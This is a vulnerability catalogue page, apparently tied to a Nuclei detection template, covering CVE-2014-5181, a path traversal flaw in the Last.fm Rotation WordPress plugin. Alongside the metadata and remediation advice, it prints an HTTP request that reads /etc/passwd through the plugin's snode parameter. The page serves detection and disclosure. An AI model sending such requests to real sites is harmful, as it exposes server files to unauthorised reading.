🔙 목록으로 돌아가기

CVE-2014-5181: Last.fm Rotation 1.0 - Path Traversal

TitleLast.fm Rotation 1.0 - Path Traversal
AuthorDhiyaneshDK
SeverityMedium
ImpactRemote attackers can read arbitrary files on the server, potentially leading to information disclosure or further exploitation.
RemediationUpdate to the latest version of the plugin or apply security patches to fix the vulnerability.
CVSS Score5
EPSS Score0.00991
CVE IDCVE-2014-5181
CWE IDCWE-22
Tags wpscan cve cve2014 wp-cross-rss wordpress wp-plugin lfi wp lastfm-rotation vuln

🔍 Vulnerability Description

Directory traversal vulnerability in lastfm-proxy.php in the Last.fm Rotation (lastfm-rotation) plugin 1.0 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the snode parameter.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:140.0.) Gecko/20100101 Firefox/140.0.
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/lastfm-rotation/lastfm-proxy.php?snode=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.22
Connection: close
Accept-Encoding: gzip

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2014/CVE-2014-5181.yaml

🦈 Packet Capture: ⬇️ Download cve-2014-5181.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A